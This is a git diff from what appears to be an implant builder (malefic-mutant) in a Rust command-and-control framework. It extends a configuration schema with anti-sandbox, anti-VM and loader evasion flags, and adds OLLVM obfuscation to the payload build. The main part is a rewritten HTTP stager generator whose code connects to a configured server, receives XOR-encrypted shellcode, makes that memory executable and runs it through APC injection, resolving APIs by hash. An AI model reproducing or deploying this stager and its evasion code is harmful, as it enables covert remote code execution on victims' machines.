{ "address": {"type": "string"}, "domain_suffix": {"type": "string"}, @@ -83,9 +131,31 @@ "tls": { "type": "object", "properties": { - "enable": {"type": "boolean"}, + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["tls"] + } + }, + "version": {"type": "string"}, "sni": {"type": "string"}, - "skip_verification": {"type": "boolean"} + "skip_verification": {"type": "boolean"}, + "mtls": { + "type": "object", + "properties": { + "enable": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["mtls"] + } + }, + "client_cert": {"type": "string"}, + "client_key": {"type": "string"}, + "server_ca": {"type": "string"} + } + } } }, "rem": { @@ -99,7 +169,7 @@ } } }, - "required": ["server_retry","global_retry","encryption","key", "cron", "jitter", "targets"] + "required": ["retry","encryption","key", "cron", "jitter", "targets"] }, "build": { "type": "object", @@ -180,19 +250,65 @@ "implants": { "type": "object", "properties": { - "runtime": {"type": "string"}, - "mod": {"type": "string"}, - "register_info": {"type": "boolean"}, - "hot_load": {"type": "boolean"}, + "runtime": { + "type": "string", + "x-cargo-features": { + "type": "enum_map", + "mapping": { + "tokio": [], + "smol": [], + "async-std": [], + "*": [] + } + } + }, + "mod": { + "type": "string", + "x-cargo-features": { + "type": "enum_map", + "mapping": { + "beacon": ["beacon"], + "bind": ["bind"] + } + } + }, + "register_info": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["register_info"] + } + }, + "hot_load": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["hot_load"] + } + }, + "addon": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["addon"] + } + }, "modules": { "type": "array", "items": {"type": "string"} }, - "enable_3rd": {"type": "boolean"}, + "enable_3rd": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["malefic-3rd"] + } + }, "3rd_modules": { "type": "array", "items": {"type": "string"} }, + "prelude": {"type": "string"}, "autorun": {"type": "string"}, "pack": { "type": "array", @@ -216,8 +332,20 @@ "anti": { "type": "object", "properties": { - "sandbox": {"type": "boolean"}, - "vm": {"type": "boolean"}, + "sandbox": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["anti_sandbox"] + } + }, + "vm": { + "type": "boolean", + "x-cargo-features": { + "type": "bool_flag", + "features": ["anti_vm"] + } + }, "debug": {"type": "boolean"}, "disasm": {"type": "boolean"}, "emulator": {"type": "boolean"}, @@ -274,5 +402,23 @@ "required": ["runtime", "mod", "register_info", "hot_load", "modules" ] } }, - "required": ["basic", "build", "pulse", "implants"] -} \ No newline at end of file + "required": ["basic", "build", "pulse", "implants"], + "loader": { + "type": "object", + "properties": { + "evader": { + "type": "object", + "properties": { + "anti_emu": { "type": "boolean" }, + "etw_pass": { "type": "boolean" }, + "god_speed": { "type": "boolean" }, + "sleep_encrypt": { "type": "boolean" }, + "anti_forensic": { "type": "boolean" }, + "cfg_patch": { "type": "boolean" }, + "api_untangle": { "type": "boolean" }, + "normal_api": { "type": "boolean" } + } + } + } + } +} diff --git a/malefic-mutant/src/build/payload/mod.rs b/malefic-mutant/src/build/payload/mod.rs index a8d6b89..6c65747 100644 --- a/malefic-mutant/src/build/payload/mod.rs +++ b/malefic-mutant/src/build/payload/mod.rs @@ -1,7 +1,7 @@ #![allow(non_camel_case_types)] use crate::config::BuildConfig; use crate::tool::strip::strip_paths_from_binary; -use crate::{cmd::PayloadType, log_error, log_step, log_success}; +use crate::{cmd::PayloadType, log_error, log_step, log_success, log_warning}; use duct::cmd; use std::str::FromStr; use strum_macros::Display; @@ -34,59 +34,96 @@ impl FromStr for OllvmAllow { } } +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum BuildProfile { + Dev, + Release, +} + +impl BuildProfile { + pub fn from_dev(dev: bool) -> Self { + if dev { + Self::Dev + } else { + Self::Release + } + } + + pub fn is_release(self) -> bool { + matches!(self, Self::Release) + } + + pub fn output_dir(self) -> &'static str { + match self { + Self::Dev => "debug", + Self::Release => "release", + } + } +} + pub fn build_payload( config: &mut BuildConfig, payload_type: &PayloadType, target: &String, features: Option<&Vec>, + build_lib: bool, + profile: BuildProfile, ) -> anyhow::Result<()> { - let mut args = Vec::new(); + let mut args: Vec = Vec::new(); let package = match payload_type { PayloadType::THIRD => "malefic-3rd".to_string(), _ => payload_type.to_string(), }; + let target_platform = detect_target_platform(target)?; + let build_lib = normalize_build_kind(payload_type, build_lib, target_platform)?; + let ollvm_flag = std::fs::File::open(OLLVM_FLGAS); - if config.ollvm.enable && OllvmAllow::from_str(&target).is_ok() { + let ollvm_allowed = config.ollvm.enable && OllvmAllow::from_str(target).is_ok(); + let use_ollvm = profile.is_release() && ollvm_allowed; + + if config.ollvm.enable && !profile.is_release() { + log_warning!("--dev disables OLLVM; falling back to the standard cargo backend"); + } + + if use_ollvm { if ollvm_flag.is_err() { std::fs::File::create(OLLVM_FLGAS)?; } let _ = cmd("rustup", ["default", "ollvm16-rust-1.74.0"]).run()?; - args.push("rustc"); - let build_type = match payload_type { - PayloadType::MODULES => "--lib", - _ => "--bin", - }; - args.extend_from_slice(&[ - "--release", - "--target", - &target, - "-p", - &package, - build_type, - &package, - "--", - ]); + args.push("rustc".to_string()); + args.push("--release".to_string()); + args.push("--target".to_string()); + args.push(target.clone()); + args.push("-p".to_string()); + args.push(package.clone()); + if build_lib { + args.push("--lib".to_string()); + } else { + args.push("--bin".to_string()); + args.push(package.clone()); + } + args.push("--".to_string()); if config.ollvm.bcfobf { - args.push("-Cllvm-args=-enable-bcfobf"); + args.push("-Cllvm-args=-enable-bcfobf".to_string()); } if config.ollvm.splitobf { - args.push("-Cllvm-args=-enable-splitobf"); + args.push("-Cllvm-args=-enable-splitobf".to_string()); } if config.ollvm.subobf { - args.push("-Cllvm-args=-enable-subobf"); + args.push("-Cllvm-args=-enable-subobf".to_string()); } if config.ollvm.fco { - args.push("-Cllvm-args=-enable-fco"); + args.push("-Cllvm-args=-enable-fco".to_string()); } if config.ollvm.constenc { - args.push("-Cllvm-args=-enable-constenc"); + args.push("-Cllvm-args=-enable-constenc".to_string()); } - args.push("-Cdebuginfo=0"); - args.push("-Cstrip=symbols"); - args.push("-Cpanic=abort"); - args.push("-Copt-level=3"); + args.push("-Cdebuginfo=0".to_string()); + args.push("-Cstrip=symbols".to_string()); + args.push("-Cpanic=abort".to_string()); + args.push("-Copt-level=3".to_string()); } else { if ollvm_flag.is_ok() { std::fs::remove_file(OLLVM_FLGAS)?; @@ -94,26 +131,39 @@ pub fn build_payload( let toolchain = config.toolchain.clone(); let _ = cmd("rustup", ["default", &*toolchain]).run()?; if config.zigbuild { - args.push("zigbuild"); + args.push("zigbuild".to_string()); + } else { + args.push("build".to_string()) + } + if profile.is_release() { + args.push("--release".to_string()); + } + args.push("--target".to_string()); + args.push(target.clone()); + args.push("-p".to_string()); + args.push(package.clone()); + if build_lib { + args.push("--lib".to_string()); } else { - args.push("build") + args.push("--bin".to_string()); + args.push(package.clone()); } - args.extend_from_slice(&["--release", "--target", &target, "-p", &package]); }; - if let Some(feats) = features { - if !feats.is_empty() { - args.push("--features"); - let feature_string = feats.join(","); - let leaked: &'static str = Box::leak(feature_string.into_boxed_str()); - args.push(leaked); - } + let feature_string = features.filter(|f| !f.is_empty()).map(|f| f.join(",")); + + if let Some(ref fs) = feature_string { + args.push("--features".to_string()); + args.push(fs.clone()); } - let result = cmd("cargo", args) - .stderr_to_stdout() - .stdout_capture() - .reader()?; + // YY-Thunks + let mut cargo_cmd = cmd("cargo", args); + if target == "i686-pc-windows-msvc" { + cargo_cmd = cargo_cmd.env("YY_THUNKS_TARGET_OS", "WinXP"); + } + + let result = cargo_cmd.stderr_to_stdout().stdout_capture().reader()?; use std::io::{BufRead, BufReader}; let reader = BufReader::new(result); @@ -138,49 +188,129 @@ pub fn build_payload( "Build failed - compilation errors detected" )); } - // æ ¹æ®packageçš„ä¸åŒè¾“出 - let binary_path = match payload_type { - PayloadType::THIRD => { - if target.contains("windows") { - format!("target/{}/release/malefic_3rd.dll", target) - } else { - format!("target/{}/release/libmalefic_3rd.rlib", target) - } - } - PayloadType::MODULES => { - if target.contains("windows") { - format!("target/{}/release/malefic_modules.dll", target) - } else { - format!("target/{}/release/libmalefic_modules.rlib", target) + let binary_path = compute_output_path(&package, target, target_platform, build_lib, profile); + if profile.is_release() { + let _ = strip_paths_from_binary(&binary_path, &binary_path, &[]); + } else { + log_step!("Skipping path stripping for dev build"); + } + + log_success!( + "Build completed: {} ({} bytes)", + binary_path, + std::fs::metadata(&binary_path) + .map(|m| m.len()) + .unwrap_or(0) + ); + + Ok(()) +} + +#[derive(Clone, Copy, Debug)] +enum TargetPlatform { + Windows, + Linux, + Mac, +} + +fn detect_target_platform(target: &str) -> anyhow::Result { + let target_lower = target.to_lowercase(); + if target_lower.contains("windows") { + Ok(TargetPlatform::Windows) + } else if target_lower.contains("linux") { + Ok(TargetPlatform::Linux) + } else if target_lower.contains("darwin") || target_lower.contains("apple") { + Ok(TargetPlatform::Mac) + } else { + anyhow::bail!("Unsupported target triple: {}", target); + } +} + +fn normalize_build_kind( + payload_type: &PayloadType, + requested_lib: bool, + platform: TargetPlatform, +) -> anyhow::Result { + let requires_lib = matches!( + payload_type, + PayloadType::MODULES | PayloadType::THIRD | PayloadType::PROXYDLL + ); + let allows_bin = matches!( + payload_type, + PayloadType::MALEFIC | PayloadType::PRELUDE | PayloadType::PULSE + ); + let allows_lib = matches!( + payload_type, + PayloadType::MALEFIC + | PayloadType::MODULES + | PayloadType::THIRD + | PayloadType::PROXYDLL + | PayloadType::PULSE + ); + + let build_lib = requires_lib || requested_lib; + + if build_lib && !allows_lib { + anyhow::bail!( + "{} does not support building as a shared library", + payload_type + ); + } + if !build_lib && !allows_bin { + anyhow::bail!( + "{} currently only supports building as a shared library", + payload_type + ); + } + + // Platform compatibility gate + match payload_type { + PayloadType::PULSE | PayloadType::MODULES | PayloadType::THIRD | PayloadType::PROXYDLL => { + if !matches!(platform, TargetPlatform::Windows) { + anyhow::bail!("{} currently only supports Windows targets", payload_type); } } - PayloadType::PROXYDLL => { - if target.contains("windows") { - format!("target/{}/release/malefic_proxydll.dll", target) - } else { - format!("target/{}/release/libmalefic_proxydll.dylib", target) - } + _ => {} + } + + Ok(build_lib) +} + +fn compute_output_path( + package: &str, + target: &str, + platform: TargetPlatform, + build_lib: bool, + profile: BuildProfile, +) -> String { + let (prefix, ext) = if build_lib { + match platform { + TargetPlatform::Windows => ("", "dll"), + TargetPlatform::Linux => ("lib", "so"), + TargetPlatform::Mac => ("lib", "dylib"), } - _ => { - if target.contains("windows") { - format!("target/{}/release/{}.exe", target, package) - } else { - format!("target/{}/release/{}", target, package) - } + } else { + match platform { + TargetPlatform::Windows => ("", "exe"), + _ => ("", ""), } }; - let _ = strip_paths_from_binary(&*binary_path, &*binary_path, &[]); - log_success!("Build completed: {}", binary_path); + // lib outputs use underscores (Rust convention), bin outputs keep hyphens + let base = if build_lib { + package.replace('-', "_") + } else { + package.to_string() + }; - // Special handling for ProxyDLL: process and pack resources - if matches!(payload_type, PayloadType::PROXYDLL) { - log_step!("Processing ProxyDLL resources..."); - if let Err(e) = crate::tool::proxydll::process_proxydll_resources(&binary_path, target) { - log_error!("Failed to process ProxyDLL resources: {}", e); - return Err(e); - } + let mut filename = String::new(); + if !prefix.is_empty() { + filename.push_str(prefix); } - - Ok(()) + filename.push_str(&base); + if !ext.is_empty() { + filename.push('.'); + filename.push_str(ext); + } + format!("target/{}/{}/{}", target, profile.output_dir(), filename) } diff --git a/malefic-mutant/src/build/pulse/http.rs b/malefic-mutant/src/build/pulse/http.rs index d9d5e9e..c4b21cd 100644 --- a/malefic-mutant/src/build/pulse/http.rs +++ b/malefic-mutant/src/build/pulse/http.rs @@ -1,391 +1,326 @@ -use super::{ - djb2_hash, - utils::{ - generate_dll_name_asm, generate_string_asm_instructions, TARGET_SOURCE_PATH, - X64_MAIN_TEMPLATE_PATH, X64_MAKE_BODY, X86_MAIN_TEMPLATE_PATH, X86_MAKE_BODY, - }, - PANIC, -}; +use super::utils::{djb2_hash, INSTANCE_TEMPLATE_PATH, TARGET_INSTANCE_PATH}; use crate::config::{GenerateArch, PulseConfig, Version}; -static X64_DEPENDENCIES: &str = " -use malefic_win_kit::asm::arch::x64::{ - crypto::xor_process, - apc::inline_apc_loader, - http::make_http, - memory::{ - _convert_lebytes_to_u32, - _memcpy, - _memset, - _virtual_alloc - }, - str::boyer_moore_search, - tcp::{ - bind_and_connect, - send_std, - recv_std - } - }; -"; - -static X86_DEPENDENCIES: &str = " -use malefic_win_kit::asm::arch::x86::{ - crypto::xor_process, - apc::inline_apc_loader, - http::make_http, - memory::{ - _convert_lebytes_to_u32, - _memcpy, - _memset, - _virtual_alloc - }, - str::boyer_moore_search, - tcp::{ - bind_and_connect, - send_std, - recv_std - } - }; -"; - -static PREBUILD_DEPENDENCIES: &str = r#" -#[link(name = "malefic_win_kit_pulse", kind = "static")] -extern "C" { - pub fn bind_and_connect( - dll_name: *const u8, - ip: *const u8, - port: u16 - ) -> usize; - pub fn send_std( - socket: usize, - buf: usize, - len: usize - ) -> usize; - pub fn recv_std( - socket: usize, - buf: usize, - len: usize, - ) -> usize; - pub fn xor_process( - data: *mut u8, - data_len: usize, - key: *const u8, - key_len: usize, - iv: *const u8, - iv_len: usize, - counter: *mut usize - ); - pub fn _virtual_alloc( - _address: *mut u8, - _size: usize, - _alloc_type: u32, - _protect: u32 - ) -> *mut u8; - pub fn _memcpy( - _dst: *mut u8, - _src: *const u8, - _size: usize, - ); - pub fn _memset( - _dst: *mut u8, - _value: u8, - _size: usize, - ); - pub fn _convert_lebytes_to_u32( - _bytes: *const u8, - ) -> u32; - pub fn inline_apc_loader(bin: usize, len: usize) -> usize; - pub fn make_http( - header: *const u8, - header_len: usize, - body: *const u8, - body_len: usize, - buf: *mut u8, - buf_len: usize, - ); - pub fn boyer_moore_search( - text: *const u8, - text_len: usize, - pattern: *const u8, - pattern_len: usize, - ) -> isize; -} -"#; - pub fn generate_http_pulse( config: PulseConfig, - arch: GenerateArch, - version: &Version, - source: bool, -) -> anyhow::Result<()> { - generate_pulse_template(config, arch, version, source) -} - -fn generate_pulse_template( - config: PulseConfig, - arch: GenerateArch, - version: &Version, - source: bool, -) -> anyhow::Result<()> { - let mut dependencies = PREBUILD_DEPENDENCIES; - let main_template_path; - let make_body; - match arch { - GenerateArch::X64 => { - if source { - dependencies = X64_DEPENDENCIES; - } - main_template_path = X64_MAIN_TEMPLATE_PATH; - make_body = X64_MAKE_BODY; - } - GenerateArch::X86 => { - if source { - dependencies = X86_DEPENDENCIES; - } - main_template_path = X86_MAIN_TEMPLATE_PATH; - make_body = X86_MAKE_BODY; - } // _ => { - // anyhow::bail!("Unsupported arch."); - // } - } - - make_source_code( - config, - main_template_path, - dependencies, - TARGET_SOURCE_PATH, - make_body, - version, - source, - ) -} - -fn make_source_code( - config: PulseConfig, - main_template_path: &str, - dependencies: &str, - _target_source_path: &str, - make_body: &str, + _arch: GenerateArch, _version: &Version, - source: bool, + _source: bool, ) -> anyhow::Result<()> { - let main_template_path = std::path::Path::new(main_template_path); - if !main_template_path.exists() { - anyhow::bail!("main_template_path does not exist."); - } - let main_template = std::fs::read_to_string(main_template_path)?; - let mut final_data = format!("{}\n\n\n{}\n", main_template, dependencies); - - if !source { - final_data = format!("{}\n\n\n{}\n", final_data, PANIC); + let template_path = std::path::Path::new(INSTANCE_TEMPLATE_PATH); + if !template_path.exists() { + anyhow::bail!("Instance template not found: {}", INSTANCE_TEMPLATE_PATH); } + let template = std::fs::read_to_string(template_path)?; - final_data = format!("{}\n\n\n{}", final_data, make_body); let url = &config.target; if url.is_empty() { - anyhow::bail!("url is empty."); + anyhow::bail!("target url is empty."); } - let (ip, port) = url.split_at(url.find(":").unwrap()); + let colon_pos = url + .find(':') + .ok_or_else(|| anyhow::anyhow!("invalid target format, expected ip:port"))?; + let (ip, port_str) = url.split_at(colon_pos); + let port: u16 = port_str[1..].parse()?; + let mut http_header = config.http.build(10); http_header.push_str("\\r\\n"); + let magic = djb2_hash(&config.flags.magic); let key = &config.key; - let iv = key.chars().rev().collect::(); - - let ip_with_null = format!("{}\0", ip); - let ip_asm_instructions = generate_string_asm_instructions(&ip_with_null, "ip"); - let key_asm_instructions = generate_string_asm_instructions(key, "k1"); - let iv_asm_instructions = generate_string_asm_instructions(&iv, "k2"); - let dll_asm_instructions = generate_dll_name_asm(); - - let main_content = format!( - r#" -#[no_mangle] -fn fire() {{ - let start = {start}u8; - let end = {end}u8; - let magic = {magic}u32; - let header = b"{http_header}"; - unsafe {{ - let mut buf: [u8;0x100] = - core::mem::MaybeUninit::uninit().assume_init(); - let mut body_buf: [u8;10] = - core::mem::MaybeUninit::uninit().assume_init(); - _memset(buf.as_mut_ptr(), 0, 0x100); - _memset(body_buf.as_mut_ptr(), 0, 10); - - // Use inline assembly to construct strings - compiler cannot optimize this - let mut dll_name = [0u8; 11]; - let mut target_ip = [0u8; {ip_len}]; - let mut key1 = [0u8; {key_len}]; - let mut key2 = [0u8; {iv_len}]; - - core::arch::asm!( - // Construct "ws2_32.dll\0" - {dll_asm_instructions} - - // Construct IP address with null terminator - {ip_asm_instructions} - - // Construct encryption keys - {key_asm_instructions} - {iv_asm_instructions} - - dll = in(reg) dll_name.as_mut_ptr(), - ip = in(reg) target_ip.as_mut_ptr(), - k1 = in(reg) key1.as_mut_ptr(), - k2 = in(reg) key2.as_mut_ptr(), - options(nostack, preserves_flags) - ); + let iv: String = key.chars().rev().collect(); - let socket = bind_and_connect( - dll_name.as_ptr(), - target_ip.as_ptr(), - {port} - ); - if socket.eq(&0) {{ - return; + let key_bytes = format_byte_literals(key.as_bytes()); + let iv_bytes = format_byte_literals(iv.as_bytes()); + let ip_bytes = format_byte_literals(ip.as_bytes()); + let header_bytes = format_byte_literals(http_header.as_bytes()); + + let start_method = format!( + r#" pub unsafe fn start(&self, _args: *mut c_void) {{ + fn xor_process(data: &mut [u8], key: &[u8], iv: &[u8], counter: &mut usize) {{ + for byte in data.iter_mut() {{ + *byte ^= key[*counter % key.len()] ^ iv[*counter % iv.len()]; + *counter += 1; + }} }} - make_body(body_buf.as_mut_ptr(), start, end, magic, {artifact_id}); - let mut counter: usize = 0; - xor_process( - body_buf.as_mut_ptr(), - 10, - key1.as_ptr(), - {key_len}, - key2.as_ptr(), - {iv_len}, - &mut counter - ); - make_http( - header.as_ptr(), - header.len(), - body_buf.as_mut_ptr(), - 10, - buf.as_mut_ptr(), - 0x100); - let ret = send_std(socket, buf.as_ptr() as _, 0x100); - if ret.eq(&0) {{ + + fn find_crlf2(buf: &[u8], len: usize) -> isize {{ + if len < 4 {{ return -1; }} + let mut i = 0usize; + while i <= len - 4 {{ + if buf[i] == b'\r' && buf[i+1] == b'\n' + && buf[i+2] == b'\r' && buf[i+3] == b'\n' {{ + return i as isize; + }} + i += 1; + }} + -1 + }} + + fn make_http_request( + header: &[u8], body: &[u8], out: &mut [u8], + ) -> usize {{ + let mut pos = 0usize; + for &b in header.iter() {{ + if pos >= out.len() {{ break; }} + out[pos] = b; + pos += 1; + }} + for &b in body.iter() {{ + if pos >= out.len() {{ break; }} + out[pos] = b; + pos += 1; + }} + pos + }} + + // Load ws2_32.dll + let dll_name: [u8; 11] = [b'w', b's', b'2', b'_', b'3', b'2', b'.', b'd', b'l', b'l', 0]; + let load_lib: FnLoadLibraryA = core::mem::transmute(self.kernel32.LoadLibraryA); + let ws2 = load_lib(dll_name.as_ptr() as *mut u8); + if ws2.is_null() {{ return; }} + let ws2_base = ws2 as usize; + + // Resolve WinSock APIs via hash + let wsa_startup: FnWSAStartup = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("WSAStartup") as usize)); + let p_socket: FnSocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("socket") as usize)); + let p_connect: FnConnect = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("connect") as usize)); + let p_send: FnSend = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("send") as usize)); + let p_recv: FnRecv = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("recv") as usize)); + let p_closesocket: FnClosesocket = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("closesocket") as usize)); + let p_inet_addr: FnInetAddr = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("inet_addr") as usize)); + let p_htons: FnHtons = core::mem::transmute( + resolve::_api(ws2_base, hash_str!("htons") as usize)); + + // WSAStartup + let mut wsa_data: WSADATA = core::mem::zeroed(); + if wsa_startup(0x0202, &mut wsa_data) != 0 {{ return; }} + + // Create socket + let sock = p_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if sock == 0 || sock == usize::MAX {{ return; }} + + // Connect + let ip_addr: [u8; {ip_len}] = [{ip_bytes}, 0]; + let addr = SOCKADDR_IN {{ + sin_family: AF_INET as i16, + sin_port: p_htons({port}), + sin_addr: IN_ADDR {{ s_addr: p_inet_addr(ip_addr.as_ptr()) }}, + sin_zero: [0; 8], + }}; + if p_connect(sock, &addr, core::mem::size_of::() as i32) != 0 {{ + p_closesocket(sock); return; }} - let split_marker = b"\r\n\r\n"; - _memset(buf.as_mut_ptr(), 0, 0x100); + + // Configuration + let key: [u8; {key_len}] = [{key_bytes}]; + let iv: [u8; {iv_len}] = [{iv_bytes}]; + let header: [u8; {header_len}] = [{header_bytes}]; + + // Build handshake body: [start][magic:4][artifact_id:4][end] + let mut body: [u8; 10] = [0; 10]; + body[0] = {start}u8; + let m = {magic}u32.to_le_bytes(); + body[1] = m[0]; body[2] = m[1]; body[3] = m[2]; body[4] = m[3]; + let a = {artifact_id}u32.to_le_bytes(); + body[5] = a[0]; body[6] = a[1]; body[7] = a[2]; body[8] = a[3]; + body[9] = {end}u8; + + // Encrypt body + let mut counter: usize = 0; + xor_process(&mut body, &key, &iv, &mut counter); + + // Build HTTP request: header + body + let mut buf: [u8; 0x100] = [0; 0x100]; + let req_len = make_http_request(&header, &body, &mut buf); + + // Send HTTP request + let ret = p_send(sock, buf.as_ptr(), req_len as i32, 0); + if ret <= 0 {{ p_closesocket(sock); return; }} + + // Receive HTTP response and find body + let mut recv_buf: [u8; 0x100] = [0; 0x100]; let mut body_offset: isize = -1; - let mut offset: usize = 0; + let mut total_recv = 0usize; loop {{ - let ret = recv_std( - socket, - buf.as_ptr().add(0x4) as usize, - 0x100 - 0x4 + let space = if total_recv < 4 {{ 0 }} else {{ total_recv - 4 }}; + let ret = p_recv( + sock, + recv_buf.as_mut_ptr().add(total_recv), + (0x100 - total_recv) as i32, + 0, ); - if ret.eq(&0) || ret.eq(&0xffffffff) {{ - return; - }} - offset += ret as usize + 4; - body_offset = boyer_moore_search( - buf.as_mut_ptr(), - 0x100, - split_marker.as_ptr(), - split_marker.len() + if ret <= 0 {{ p_closesocket(sock); return; }} + total_recv += ret as usize; + + body_offset = find_crlf2( + &recv_buf[space..total_recv], + total_recv - space, ); - if body_offset.ne(&-1) {{ + if body_offset >= 0 {{ + body_offset += space as isize; break; }} - _memset(buf.as_mut_ptr(), 0, 0x100 - 0x4); - if offset.eq(&0x100) {{ - _memcpy(buf.as_mut_ptr(), buf.as_ptr().add(ret as usize), 4); - }} + if total_recv >= 0x100 {{ p_closesocket(sock); return; }} }} - _memset(body_buf.as_mut_ptr(), 0, 10); - let body_offset = 4 + body_offset as usize; - if (body_offset + 9).le(&offset) {{ - _memcpy(body_buf.as_mut_ptr(), buf.as_ptr().add(body_offset), 9); + let body_start = (body_offset as usize) + 4; + + // Read response body (9 bytes header) + let mut resp_body: [u8; 9] = [0; 9]; + let available = if body_start < total_recv {{ total_recv - body_start }} else {{ 0 }}; + if available >= 9 {{ + let mut i = 0usize; + while i < 9 {{ + resp_body[i] = recv_buf[body_start + i]; + i += 1; + }} }} else {{ - let left_data = body_offset + 9 - offset; - let additional_ret = recv_std( - socket, - body_buf.as_mut_ptr() as _, - left_data); - if additional_ret.eq(&0) || additional_ret.eq(&0xffffffff) {{ - return; + let mut i = 0usize; + while i < available {{ + resp_body[i] = recv_buf[body_start + i]; + i += 1; + }} + let mut offset = available; + while offset < 9 {{ + let ret = p_recv( + sock, + resp_body.as_mut_ptr().add(offset), + (9 - offset) as i32, + 0, + ); + if ret <= 0 {{ p_closesocket(sock); return; }} + offset += ret as usize; }} }} + + // Decrypt and validate response counter = 0; - xor_process( - body_buf.as_mut_ptr(), - 9, - key1.as_ptr(), - {key_len}, - key2.as_ptr(), - {iv_len}, - &mut counter + xor_process(&mut resp_body, &key, &iv, &mut counter); + if resp_body[0] != {start}u8 {{ p_closesocket(sock); return; }} + let recv_magic = u32::from_le_bytes([resp_body[1], resp_body[2], resp_body[3], resp_body[4]]); + let recv_len = u32::from_le_bytes([resp_body[5], resp_body[6], resp_body[7], resp_body[8]]); + if recv_magic != {magic}u32 || recv_len == 0 {{ p_closesocket(sock); return; }} + + // Allocate memory for shellcode + let mut base_addr: PVOID = core::ptr::null_mut(); + let mut region_size: SIZE_T = recv_len as usize + 1; + let nt_alloc: FnNtAllocateVirtualMemory = + core::mem::transmute(self.ntdll.NtAllocateVirtualMemory); + let status = nt_alloc( + -1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, ); - if body_buf[0].ne(&start) {{ - return; - }} - let recv_magic = _convert_lebytes_to_u32(body_buf.as_ptr().add(1)); - let recv_len = _convert_lebytes_to_u32(body_buf.as_ptr().add(5)); - if recv_magic.ne(&magic) || recv_len.eq(&0) {{ - return; - }} - let ptr = _virtual_alloc(0 as _, recv_len as _, 0x1000, 0x4); - if ptr.is_null() {{ + if status != STATUS_SUCCESS || base_addr.is_null() {{ + p_closesocket(sock); return; }} - let mut shellcode_len = 0; - if body_offset + 9 <= offset {{ - shellcode_len = offset - body_offset - 9; - }} - if shellcode_len > 0 {{ - _memcpy( - ptr as _, - buf.as_ptr().add(body_offset + 9), - shellcode_len + + // Copy any shellcode data already received after the 9-byte header + let shellcode_start = body_start + 9; + let mut shellcode_recv = 0usize; + if shellcode_start < total_recv {{ + shellcode_recv = total_recv - shellcode_start; + crate::memory::copy( + base_addr as *mut u8, + recv_buf.as_ptr().add(shellcode_start), + shellcode_recv as u32, ); }} - while shellcode_len < recv_len as usize {{ - let ret = recv_std( - socket, - ptr as usize + shellcode_len, - recv_len as usize - shellcode_len + + // Receive remaining shellcode + while shellcode_recv < recv_len as usize {{ + let ret = p_recv( + sock, + (base_addr as *mut u8).add(shellcode_recv), + (recv_len as usize - shellcode_recv) as i32, + 0, ); - if ret == 0 || ret == 0xffffffff {{ - return; - }} - shellcode_len += ret as usize; + if ret <= 0 {{ p_closesocket(sock); return; }} + shellcode_recv += ret as usize; }} + p_closesocket(sock); + + // Decrypt shellcode xor_process( - ptr as _, - shellcode_len as _, - key1.as_ptr(), - {key_len}, - key2.as_ptr(), - {iv_len}, - &mut counter + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), ); - inline_apc_loader(ptr as _, shellcode_len); - }} -}} - "#, + if thread_handle.is_null() {{ return; }} + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + }}"#, + ip_len = ip.len() + 1, + ip_bytes = ip_bytes, + port = port, + key_len = key.len(), + key_bytes = key_bytes, + iv_len = iv.len(), + iv_bytes = iv_bytes, + header_len = http_header.len(), + header_bytes = header_bytes, start = config.flags.start, end = config.flags.end, - magic = format!("0x{:x}", magic as u32), + magic = format!("0x{:08x}", magic), artifact_id = config.flags.artifact_id, - port = port[1..].parse::()?, - ip_len = ip_with_null.len(), - key_len = key.len(), - iv_len = iv.len(), - http_header = http_header, - dll_asm_instructions = dll_asm_instructions, - ip_asm_instructions = ip_asm_instructions, - key_asm_instructions = key_asm_instructions, - iv_asm_instructions = iv_asm_instructions, ); - final_data = format!("{}\n\n\n{}", final_data, main_content); - let target_path = std::path::Path::new(TARGET_SOURCE_PATH); - std::fs::write(target_path, final_data)?; + + let instance_rs = format!("{}\n{}\n}}\n", template, start_method); + let target_path = std::path::Path::new(TARGET_INSTANCE_PATH); + std::fs::write(target_path, instance_rs)?; Ok(()) } + +fn format_byte_literals(bytes: &[u8]) -> String { + bytes + .iter() + .map(|b| format!("0x{:02x}", b)) + .collect::>() + .join(", ") +} diff --git a/malefic-mutant/src/build/pulse/mod.rs b/malefic-mutant/src/build/pulse/mod.rs 